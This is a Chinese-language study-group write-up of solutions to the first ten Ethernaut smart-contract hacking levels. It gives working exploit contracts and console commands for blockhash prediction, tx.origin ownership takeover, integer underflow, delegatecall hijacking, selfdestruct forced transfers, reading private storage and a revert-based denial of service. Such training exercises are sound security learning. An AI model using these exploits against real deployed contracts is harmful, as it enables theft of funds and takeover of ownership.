# 第三次讀書會實作練習 - Ethernaut前十題 #### 1. Hello Ethernaut ```solidity= ethernaut0 ``` 基本上就是跟著ABI裡有的Name輸入看看就能解開 #### 2. Fallback ```solidity= // 透過ABI中的簽名,以16進制Calldata形式傳錢呼叫contribute await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000',data: '0xd7bb99ba'}) // 單純轉帳進入合約,觸發receive() function await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000'}) //條件滿足成為owner,看一下owner是否正確 await contract.owner() //將錢轉入owner account達成條件 await contract.withdraw(); ``` 這題超級有趣的, 中間想了一下到底要怎麼傳eth進入contribute function, 後來突然想到之前玩Free Mint NFT 時, 曾透過轉帳時的Calldata傳16進制的 "mint" 簽名去搶NFT, 於是就看了ABI中contribute的signature: "0xd7bb99ba", 以sendTransaction方式傳值過去 #### 3. Fallout ```solidity= //Call Fal1out function 即可,因owner = msg.sender; await contract.Fal1out() //條件滿足成為owner,看一下owner是否正確 await contract.owner() ``` 不知道在幹嘛,毫無難度 #### 4. Coin Flip ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface CoinFlip{ function flip(bool _guess) external returns (bool); } contract CoinFlipGuess{ uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function main(address argentAddress) public { CoinFlip fliphack = CoinFlip(argentAddress); bool getAnswer = true; getAnswer = flipHacker(); fliphack.flip(getAnswer); } function flipHacker() public returns (bool answer) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; if (coinFlip == 1){ return true; } else{ return false; } } } ``` 這題開始需要透過外部合約跟ethernuat的合約做交互方可破解 由於其合約並無限制Onlyowner才可Call Flip Function 且ethernuat使用block.number生成偽隨機數 非常好預測 故可以透過flipHacker Function先取得該區塊之隨機數 就能百發百中怎麼猜怎麼中 #### 5. Telephone ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; interface ITelephone { function changeOwner(address _owner) external; } contract ContractChangeOwner{ address public argentAddress; constructor(address _argentAddress) public{ argentAddress = _argentAddress; } function claim() public { ITelephone useTelephone = ITelephone(argentAddress); useTelephone.changeOwner(msg.sender); } } ``` 因為tx.origin != msg.sender 所以只要tx.origin 和 msg.sender為不同人 則可更改其owner 而要達成以上條件 可以使用智能合約去呼叫原合約 因 tx.origin 必須為EOA 而 msg.sender 可以為CA 故會產生tx.origin為EOA(個人地址)、msg.sender為CA(合約地址) 的狀況 #### 6. Token ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Itoken{ function transfer(address _to, uint _value) external returns (bool); } contract transferToken{ address argentAddress; constructor(address _argentAddress){ argentAddress = _argentAddress; } function transferTokento(address _to,uint _value) public { Itoken It = Itoken(argentAddress); It.transfer(_to,_value); } } ``` 本題`require(balances[msg.sender] - _value >= 0);`可以被攻擊 由於使用Uint無號數所以`balances[msg.sender] – _value`永遠不會少於零 直接利用合約去轉帳 輸入一個大於20的數值故意觸發溢位即可 #### 7. Delegation ```javascript= sig = await web3.eth.abi.encodeFunctionSignature("pwn()") await contract.sendTransaction({from:player, data:sig}) ``` 本題所用到的Delegatecall這種Low Level Call我是真得沒學過 特別去研究了一下並做成了筆記 https://hackmd.io/@CharmingFish0420/S1l3ugJdo 轉帳觸發Fallback函數 裡面可以透過delegatecall去傳遞msg.data 而在 Delegation 合約執行 pwn function 將會把Delegate的合約存儲複製進 Delagation 而 msg.sender 會採用呼叫者的資料,也就是我們(player),所以只要能在 web console 執行交易即可 #### 8. Force ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract transferDeadMoney{ address payable argentAddress; constructor(address payable _argentAddress){ argentAddress = _argentAddress; } function selfDestructFunc() public payable{ selfdestruct(argentAddress); } } ``` 本題所用到的selfdestruct也是我極少數使用的Function 曾經練習過也看過這個Function但一直不知道合約死後的金額 可以利用這個方式強制轉帳給某個地址 所以這題就可以創造一個自殺合約故意將金額轉進某帳號裡了 #### 9. Vault ```javascript= await web3.eth.getStorageAt("0xaCdeF19A15e1b1D5eaACFdC46B345cdb8C8a44FF", 1) .then(web3.utils.hexToAscii) //'A very strong secret password :)' //提交contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29"); ``` 看到這題時可以馬上聯想到Private其實根本不是隱私的 超容易從外部調用就拿的到,它的隱私只限定於合約間、合約中 而web3.eth.getStorageAt()方法可返回一個以太坊地址的指定位置存儲內容。 輸入後會返回hex值,再利用hexToAscii即可破解密碼 #### 10. King ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hackking{ address payable argentAddress; constructor (address payable _argentAddress)payable { argentAddress = _argentAddress; } function hackcall()public payable{ (bool success,) = argentAddress.call{value: 1 ether, gas: 100000}(""); if(!success){ revert(); } } receive () external payable{ revert(); } } ``` 主要解題技巧是在我方利用合約轉錢進去當KING後 提交實例後,讓payable(king).transfer(msg.value)觸發Revert 則合約後續之king = msg.sender、prize = msg.value; 皆無法執行 轉錢過去實例的合約地址成為永遠的KING 實際方法我這邊是使用 receive () external payable{revert();} 讓他換新KING時payable(king).transfer(msg.value)轉錢無法順利執行 ###### tags: `KryptoCamp 第 3 次讀書會實作練習`